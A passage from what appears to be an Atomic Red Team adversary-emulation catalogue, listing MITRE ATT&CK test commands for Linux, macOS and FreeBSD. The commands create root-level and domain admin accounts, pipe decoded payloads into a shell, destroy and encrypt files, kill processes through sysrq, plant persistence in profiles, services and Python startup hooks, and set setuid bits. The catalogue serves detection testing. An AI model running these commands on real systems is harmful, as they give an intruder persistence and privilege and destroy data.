useradd -M -N -r -s /bin/bash -c evil_account #{username}
T1136.001 sh elevated linux Create a user account on a FreeBSD system
Local Account
Create a user via pw
pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account
T1136.001 bash elevated linux Create a new user in Linux with `root` UID and GID.
Local Account
Creates a new user in Linux and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.
useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
T1136.001 sh elevated linux Create a new user in FreeBSD with `root` GID.
Local Account
Creates a new user in FreeBSD and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.
pw useradd #{username} -g 0 -d /root -s /bin/sh
echo "#{password}" | pw usermod #{username} -h 0
T1136.002 sh linux Active Directory Create Admin Account
Domain Account
Use Admin Credentials to Create A Domain Admin Account
echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
T1136.002 sh linux Active Directory Create User Account (Non-elevated)
Domain Account
Use Admin Credentials to Create A Normal Account (as means of entry)
echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
T1140 sh linux, macos Base64 decoding with Python
Deobfuscate/Decode Files or Information
Use Python to decode a base64-encoded text string and echo it to the console
ENCODED=$(python3 -c 'import base64;enc=base64.b64encode("#{message}".encode());print(enc.decode())')
python3 -c "import base64;dec=base64.b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "import base64 as d;dec=d.b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "from base64 import b64decode;dec=b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "from base64 import b64decode as d;dec=d(\"$ENCODED\");print(dec.decode())"
echo $ENCODED | python3 -c "import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())"
echo $ENCODED > #{encoded_file} && python3 -c "import base64;dec=base64.b64decode(open('#{encoded_file}').read());print(dec.decode())"
T1140 sh linux, macos Base64 decoding with Perl
Deobfuscate/Decode Files or Information
Use Perl to decode a base64-encoded text string and echo it to the console
ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));")
perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));"
echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'
echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));'
T1140 sh linux, macos Base64 decoding with shell utilities
Deobfuscate/Decode Files or Information
Use common shell utilities to decode a base64-encoded text string and echo it to the console
ENCODED=$(echo '#{message}' | base64)
printf $ENCODED | base64 -d
echo $ENCODED | base64 -d
echo $(echo $ENCODED) | base64 -d
echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file}
echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d
bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}"
T1140 sh linux Base64 decoding with shell utilities (freebsd)
Deobfuscate/Decode Files or Information
Use common shell utilities to decode a base64-encoded text string and echo it to the console
ENCODED=$(echo '#{message}' | b64encode -r -)
printf $ENCODED | b64decode -r
echo $ENCODED | b64decode -r
echo $(echo $ENCODED) | b64decode -r
echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}
echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r
T1140 sh linux FreeBSD b64encode Shebang in CLI
Deobfuscate/Decode Files or Information
Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it.
echo #{bash_encoded} | b64decode -r | sh
echo #{dash_encoded} | b64decode -r | sh
echo #{fish_encoded} | b64decode -r | sh
echo #{sh_encoded} | b64decode -r | sh
T1140 sh linux, macos Hex decoding with shell utilities
Deobfuscate/Decode Files or Information
Use common shell utilities to decode a hex-encoded text string and echo it to the console
ENCODED=$(echo '#{message}' | xxd -ps -c 256)
printf $ENCODED | xxd -r -p
echo $ENCODED | xxd -r -p
echo $(echo $ENCODED) | xxd -r -p
echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}
echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p
T1140 sh linux, macos Linux Base64 Encoded Shebang in CLI
Deobfuscate/Decode Files or Information
Using Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it.
echo #{bash_encoded} | base64 -d | bash
echo #{dash_encoded} | base64 -d | bash
echo #{fish_encoded} | base64 -d | bash
echo #{sh_encoded} | base64 -d | bash
T1140 bash linux, macos XOR decoding and command execution using Python
Deobfuscate/Decode Files or Information
An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.
python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: "".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = "#{encrypted_command}"; key = "#{xor_key}"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'
T1176 manual linux, windows, macos Chrome/Chromium (Developer Mode)
Software Extensions
Turn on Chrome/Chromium developer mode and Load Extension found in the src directory
T1176 manual linux, windows, macos Firefox
Software Extensions
Create a file called test.wma, with the duration of 30 seconds
T1195.002 bash containers, linux Simulate npm package installation on a Linux system
Compromise Software Supply Chain
Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
T1201 bash linux Examine password complexity policy - Ubuntu
Password Policy Discovery
Lists the password complexity policy to console on Ubuntu Linux.
cat /etc/pam.d/common-password
T1201 sh linux Examine password complexity policy - FreeBSD
Password Policy Discovery
Lists the password complexity policy to console on FreeBSD.
cat /etc/pam.d/passwd
T1201 bash linux Examine password complexity policy - CentOS/RHEL 7.x
Password Policy Discovery
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
cat /etc/security/pwquality.conf
T1201 bash linux Examine password complexity policy - CentOS/RHEL 6.x
Password Policy Discovery
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
T1201 bash linux Examine password expiration policy - All Linux
Password Policy Discovery
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
cat /etc/login.defs
T1217 sh linux List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux
Browser Information Discovery
Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.
find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null
T1217 sh linux List Google Chromium Bookmark JSON Files on FreeBSD
Browser Information Discovery
Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file.
find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null
T1222.002 sh linux, macos chmod - Change file or folder mode (numeric mode)
Linux and Mac Permissions
Changes a file or folder's permissions using chmod and a specified numeric mode.
chmod #{numeric_mode} #{file_or_folder}
T1222.002 sh linux, macos chmod - Change file or folder mode (symbolic mode)
Linux and Mac Permissions
Changes a file or folder's permissions using chmod and a specified symbolic mode.
chmod #{symbolic_mode} #{file_or_folder}
T1222.002 sh linux, macos chmod - Change file or folder mode (numeric mode) recursively
Linux and Mac Permissions
Changes a file or folder's permissions recursively using chmod and a specified numeric mode.
chmod -R #{numeric_mode} #{file_or_folder}
T1222.002 bash linux, macos chmod - Change file or folder mode (symbolic mode) recursively
Linux and Mac Permissions
Changes a file or folder's permissions recursively using chmod and a specified symbolic mode.
chmod -R #{symbolic_mode} #{file_or_folder}
T1222.002 bash macos, linux chown - Change file or folder ownership and group
Linux and Mac Permissions
Changes a file or folder's ownership and group information using chown.
chown #{owner}:#{group} #{file_or_folder}
T1222.002 bash macos, linux chown - Change file or folder ownership and group recursively
Linux and Mac Permissions
Changes a file or folder's ownership and group information recursively using chown.
chown -R #{owner}:#{group} #{file_or_folder}
T1222.002 sh linux, macos chown - Change file or folder mode ownership only
Linux and Mac Permissions
Changes a file or folder's ownership only using chown.
chown #{owner} #{file_or_folder}
T1222.002 bash macos, linux chown - Change file or folder ownership recursively
Linux and Mac Permissions
Changes a file or folder's ownership only recursively using chown.
chown -R #{owner} #{file_or_folder}
T1222.002 sh macos, linux chattr - Remove immutable file attribute
Linux and Mac Permissions
Remove's a file's immutable attribute using chattr. This technique was used by the threat actor Rocke during the compromise of Linux web servers.
chattr -i #{file_to_modify}
T1222.002 sh linux chflags - Remove immutable file attribute
Linux and Mac Permissions
Remove's a file's immutable attribute using chflags. This technique was used by the threat actor Rocke during the compromise of Linux web servers.
touch #{file_to_modify}
chflags simmutable #{file_to_modify}
chflags nosimmutable #{file_to_modify}
T1222.002 sh macos, linux Chmod through c script
Linux and Mac Permissions
chmods a file using a c script
#{compiled_file} /tmp/ T1222002
T1222.002 sh linux Chmod through c script (freebsd)
Linux and Mac Permissions
chmods a file using a c script
#{compiled_file} /tmp/ T1222002
T1222.002 sh elevated macos, linux Chown through c script
Linux and Mac Permissions
chowns a file to root using a c script
sudo #{compiled_file} #{source_file}
T1222.002 sh elevated linux Chown through c script (freebsd)
Linux and Mac Permissions
chowns a file to root using a c script
#{compiled_file} #{source_file}
T1485 sh linux, macos FreeBSD/macOS/Linux - Overwrite file with DD
Data Destruction
Overwrites and deletes a file using DD. To stop the test, break the command with CTRL/CMD+C.
dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes
T1486 sh linux Encrypt files using gpg (FreeBSD/Linux)
Data Encrypted for Impact
Uses gpg to encrypt a file
echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}
T1486 sh linux Encrypt files using 7z (FreeBSD/Linux)
Data Encrypted for Impact
Uses 7z to encrypt a file
$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}
T1486 sh linux Encrypt files using ccrypt (FreeBSD/Linux)
Data Encrypted for Impact
Attempts to encrypt data on target systems as root to simulate an interruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.
which_ccencrypt=`which ccencrypt`
cp #{root_input_file_path} #{cped_file_path};
$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}
T1486 sh linux Encrypt files using openssl (FreeBSD/Linux)
Data Encrypted for Impact
Uses openssl to encrypt a file
which_openssl=`which openssl`
$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}
T1489 sh elevated linux Linux - Stop service using systemctl
Service Stop
Stops a specified service using the systemctl command. Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service"
sudo systemctl stop #{service_name}
T1489 sh elevated linux Linux - Stop service by killing process using killall
Service Stop
Stops a specified service by sending a SIGTERM signal to the linked process using the killall command. Upon execution, if the service's main process was running, it will be terminated. If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service"
sudo killall -SIGTERM #{process_name}
T1489 sh elevated linux Linux - Stop service by killing process using kill
Service Stop
Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated. If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service"
sudo kill -SIGTERM $(pgrep #{process_name})
T1489 sh elevated linux Linux - Stop service by killing process using pkill
Service Stop
Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running. Upon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill. Stopped service can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service"
sudo pkill -SIGTERM #{process_pattern}
T1489 bash elevated linux Abuse of linux magic system request key for Send a SIGTERM to all processes
Service Stop
Adversaries with root or sufficient privileges Send a SIGTERM to all processes, except for init. By writing 'e' to /proc/sysrq-trigger, they can forced kill all processes, except for init.
echo "e" > /proc/sysrq-trigger
T1496 sh linux, macos FreeBSD/macOS/Linux - Simulate CPU Load with Yes
Resource Hijacking
This test simulates a high CPU load as you might observe during cryptojacking attacks. End the test by using CTRL/CMD+C to break.
yes > /dev/null
T1497.001 sh elevated linux Detect Virtualization Environment (Linux)
System Checks
systemd-detect-virt detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected.
if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi;
if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;
T1497.001 sh elevated linux Detect Virtualization Environment (FreeBSD)
System Checks
Detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected.
if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi
T1497.003 sh linux, macos Delay execution with ping
Time Based Checks
Uses the ping command to introduce a delay before executing a malicious payload.
ping -c #{ping_count} 8.8.8.8 > /dev/null
#{evil_command}
T1518.001 sh linux Security Software Discovery - ps (Linux)
Security Software Discovery
Methods to identify Security Software on an endpoint when sucessfully executed, command shell is going to display AV/Security software it is running.
ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'
T1518.001 sh linux Security Software Discovery - pgrep (FreeBSD)
Security Software Discovery
Methods to identify Security Software on an endpoint when sucessfully executed, command shell is going to display AV/Security software it is running.
pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'
T1529 sh elevated linux, macos Restart System via `shutdown` - FreeBSD/macOS/Linux
System Shutdown/Reboot
This test restarts a FreeBSD/macOS/Linux system.
shutdown -r #{timeout}
T1529 sh elevated linux, macos Shutdown System via `shutdown` - FreeBSD/macOS/Linux
System Shutdown/Reboot
This test shuts down a FreeBSD/macOS/Linux system using a halt.
shutdown -h #{timeout}
T1529 sh elevated linux, macos Restart System via `reboot` - FreeBSD/macOS/Linux
System Shutdown/Reboot
This test restarts a FreeBSD/macOS/Linux system via reboot.
reboot
T1529 sh elevated linux Shutdown System via `halt` - FreeBSD/Linux
System Shutdown/Reboot
This test shuts down a FreeBSD/Linux system using halt.
halt -p
T1529 sh elevated linux Reboot System via `halt` - FreeBSD
System Shutdown/Reboot
This test restarts a FreeBSD system using halt.
halt -r
T1529 bash elevated linux Reboot System via `halt` - Linux
System Shutdown/Reboot
This test restarts a Linux system using halt.
halt --reboot
T1529 sh elevated linux Shutdown System via `poweroff` - FreeBSD/Linux
System Shutdown/Reboot
This test shuts down a FreeBSD/Linux system using poweroff.
poweroff
T1529 sh elevated linux Reboot System via `poweroff` - FreeBSD
System Shutdown/Reboot
This test restarts a FreeBSD system using poweroff.
poweroff -r 3
T1529 bash elevated linux Reboot System via `poweroff` - Linux
System Shutdown/Reboot
This test restarts a Linux system using poweroff.
poweroff --reboot
T1529 bash elevated linux Abuse of Linux Magic System Request Key for Reboot
System Shutdown/Reboot
adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.
echo "b" > /proc/sysrq-trigger
T1531 sh elevated macos, linux Change User Password via passwd
Account Access Removal
This test changes the user password to hinder access to the account using passwd utility.
passwd #{user_account} #enter admin password > enter new password > confirm new password
T1543.002 bash elevated linux Create Systemd Service
Systemd Service
This test creates a Systemd service unit file and enables it as a service.
echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
echo "Type=simple"
echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
systemctl daemon-reload
systemctl enable #{systemd_service_file}
systemctl start #{systemd_service_file}
T1543.002 sh elevated linux Create SysV Service
Systemd Service
This test creates a SysV service unit file and enables it as a service.
echo '#\!/bin/sh' > #{rc_service_path}/#{rc_service_file}
echo ' ' >> #{rc_service_path}/#{rc_service_file}
echo '#' >> #{rc_service_path}/#{rc_service_file}
echo '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file}
echo '# REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file}
echo '# KEYWORD: shutdown' >> #{rc_service_path}/#{rc_service_file}
echo ' ' >> #{rc_service_path}/#{rc_service_file}
echo '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file}
echo ' ' >> #{rc_service_path}/#{rc_service_file}
echo 'name="art_test"' >> #{rc_service_path}/#{rc_service_file}
echo 'rcvar=art_test_enable' >> #{rc_service_path}/#{rc_service_file}
echo 'load_rc_config ${name}' >> #{rc_service_path}/#{rc_service_file}
echo 'command="/usr/bin/touch"' >> #{rc_service_path}/#{rc_service_file}
echo 'start_cmd="art_test_start"' >> #{rc_service_path}/#{rc_service_file}
echo '' >> #{rc_service_path}/#{rc_service_file}
echo 'art_test_start()' >> #{rc_service_path}/#{rc_service_file}     
echo '{' >> #{rc_service_path}/#{rc_service_file}
echo '  ${command} /tmp/art-test.marker' >> #{rc_service_path}/#{rc_service_file}
echo '}' >> #{rc_service_path}/#{rc_service_file}
echo ' ' >> #{rc_service_path}/#{rc_service_file}     
echo 'run_rc_command "$1"' >> #{rc_service_path}/#{rc_service_file}
chmod +x #{rc_service_path}/#{rc_service_file}
service art-test enable
service art-test start
T1543.002 bash elevated linux Create Systemd Service file, Enable the service , Modify and Reload the service.
Systemd Service
This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process.
echo "#!/bin/bash" > /etc/init.d/T1543.002
echo "### BEGIN INIT INFO" >> /etc/init.d/T1543.002
echo "# Provides : Atomic Test T1543.002" >> /etc/init.d/T1543.002
echo "# Required-Start: \$all" >> /etc/init.d/T1543.002
echo "# Required-Stop : " >> /etc/init.d/T1543.002
echo "# Default-Start: 2 3 4 5" >> /etc/init.d/T1543.002
echo "# Default-Stop: " >> /etc/init.d/T1543.002
echo "# Short Description: Atomic Test for Systemd Service Creation" >> /etc/init.d/T1543.002
echo "### END INIT INFO" >> /etc/init.d/T1543.002
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK')) \" " >> /etc/init.d/T1543.002
chmod +x /etc/init.d/T1543.002
if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002 defaults; elif [ $(cat /etc/os-release | grep -i 'ID="centos"') ]; then chkconfig T1543.002 on ; else echo "Please run this test on Ubnutu , kali OR centos" ; fi
systemctl enable T1543.002
systemctl start T1543.002
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\"" | sudo tee -a /etc/init.d/T1543.002
systemctl daemon-reload
systemctl restart T1543.002
T1546.004 sh macos, linux Add command to .bash_profile
Unix Shell Configuration Modification
Adds a command to the .bash_profile file of the current user
echo '#{command_to_add}' >> ~/.bash_profile
T1546.004 sh macos, linux Add command to .bashrc
Unix Shell Configuration Modification
Adds a command to the .bashrc file of the current user
echo '#{command_to_add}' >> ~/.bashrc
T1546.004 sh linux Add command to .shrc
Unix Shell Configuration Modification
Adds a command to the .shrc file of the current user
echo '#{command_to_add}' >> ~/.shrc
T1546.004 sh elevated linux Append to the system shell profile
Unix Shell Configuration Modification
An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in.
echo '#{text_to_append}' >> /etc/profile
T1546.004 sh linux Append commands user shell profile
Unix Shell Configuration Modification
An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in.
echo '#{text_to_append}' >> ~/.profile
T1546.004 sh elevated linux System shell profile scripts
Unix Shell Configuration Modification
An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in.
echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh
T1546.004 bash elevated linux Create/Append to .bash_logout
Unix Shell Configuration Modification
The Bash shell runs ~/.bash_logout "if it exists" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an "interactive login shell session" i.e. via the console, SSH, /bin/bash -l or su -l <username>. This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.
useradd --create-home --shell /bin/bash art
su -l art -c "echo 'echo \"Atomic Red Team was here... T1546.004\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit"
T1546.005 sh macos, linux Trap EXIT
Trap
Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'
T1546.005 sh linux Trap EXIT (freebsd)
Trap
Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'
T1546.005 sh macos, linux Trap SIGINT
Trap
Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'
T1546.005 sh linux Trap SIGINT (freebsd)
Trap
Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'
T1546.018 sh linux Python Startup Hook - atomic_hook.pth (Linux)
Python Startup Hooks
Executes code by creating atomic_hook.pth in the site-packages directory. This script runs automatically for every user on the system when Python starts.
TEMPDIR="/tmp/atomic_sitecust_posix"
mkdir -p "$TEMPDIR"
"#{python_exe}" -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import os; os.system('cat /etc/passwd 1> /tmp/atomic_hook_poc.txt')" > "$SITE_PACKAGES/atomic_hook.pth"
ls -la "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
if [ -f /tmp/atomic_hook_poc.txt ]; then echo "[+] Success: atomic_hook_poc.txt created under /tmp \n" $(ls -la /tmp/ | grep -w atomic_hook_poc.txt); else echo "Failed: /tmp/atomic_hook_poc.txt not found"; fi
T1546.018 sh linux, macos Python Startup Hook - usercustomize.py (Linux / MacOS)
Python Startup Hooks
Executes code via usercustomize.py. This is a per-user persistence mechanism that does not require root privileges.
PYTHON_EXE=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_EXE -c "import site; print(site.getusersitepackages())")
mkdir -p "$USER_PACKAGES"
echo "import os; os.system('date > /tmp/poc.txt')" > "$USER_PACKAGES/usercustomize.py"
if [ -f "$USER_PACKAGES/usercustomize.py" ]; then echo "Success: usercustomize.py created under $USER_PACKAGES\n" $(ls -la "$USER_PACKAGES" | grep usercustomize*); else echo "Failed: usercustomize.py not found under $USER_PACKAGES"; fi
$PYTHON_EXE -c "print('Triggering Hook via usercustomize.py...')"
if [ -f /tmp/poc.txt ]; then echo "Success: poc.txt created under /tmp\n" $(ls -la /tmp/ | grep -w poc.txt); else echo "Failed: /tmp/poc.txt not found"; fi
T1547.006 bash elevated linux Linux - Load Kernel Module via insmod
Kernel Modules and Extensions
This test uses the insmod command to load a kernel module for Linux.
sudo insmod #{module_path}
T1548.001 sh elevated macos, linux Make and modify binary from C source
Setuid and Setgid
Make, change owner, and change file attributes on a C source code file
cp #{payload} /tmp/hello.c
sudo chown root /tmp/hello.c
sudo make /tmp/hello
sudo chown root /tmp/hello
sudo chmod u+s /tmp/hello
/tmp/hello
T1548.001 sh elevated linux Make and modify binary from C source (freebsd)
Setuid and Setgid
Make, change owner, and change file attributes on a C source code file
cp #{payload} /tmp/hello.c
chown root /tmp/hello.c
make /tmp/hello
chown root /tmp/hello
chmod u+s /tmp/hello
/tmp/hello
T1548.001 sh elevated macos, linux Set a SetUID flag on file
Setuid and Setgid
This test sets the SetUID flag on a file in FreeBSD.
sudo touch #{file_to_setuid}
sudo chown root #{file_to_setuid}
sudo chmod u+xs #{file_to_setuid}
T1548.001 sh elevated linux Set a SetUID flag on file (freebsd)
Setuid and Setgid
This test sets the SetUID flag on a file in FreeBSD.
touch #{file_to_setuid}
chown root #{file_to_setuid}
chmod u+xs #{file_to_setuid}
T1548.001 sh elevated macos, linux Set a SetGID flag on file
Setuid and Setgid
This test sets the SetGID flag on a file in Linux and macOS.
sudo touch #{file_to_setuid}
sudo chown root #{file_to_setuid}
sudo chmod g+xs #{file_to_setuid}
T1548.001 sh elevated linux Set a SetGID flag on file (freebsd)
Setuid and Setgid
This test sets the SetGID flag on a file in FreeBSD.
touch #{file_to_setuid}
chown root #{file_to_setuid}
chmod g+xs #{file_to_setuid}
T1548.001 sh elevated linux Make and modify capabilities of a binary
Setuid and Setgid
Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file. The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with setuid(0). Without being owned by root, the binary can set the UID to 0.
cp #{payload} /tmp/cap.c
make /tmp/cap
sudo setcap cap_setuid=ep /tmp/cap
/tmp/cap
T1548.001 sh elevated linux Provide the SetUID capability to a file
Setuid and Setgid
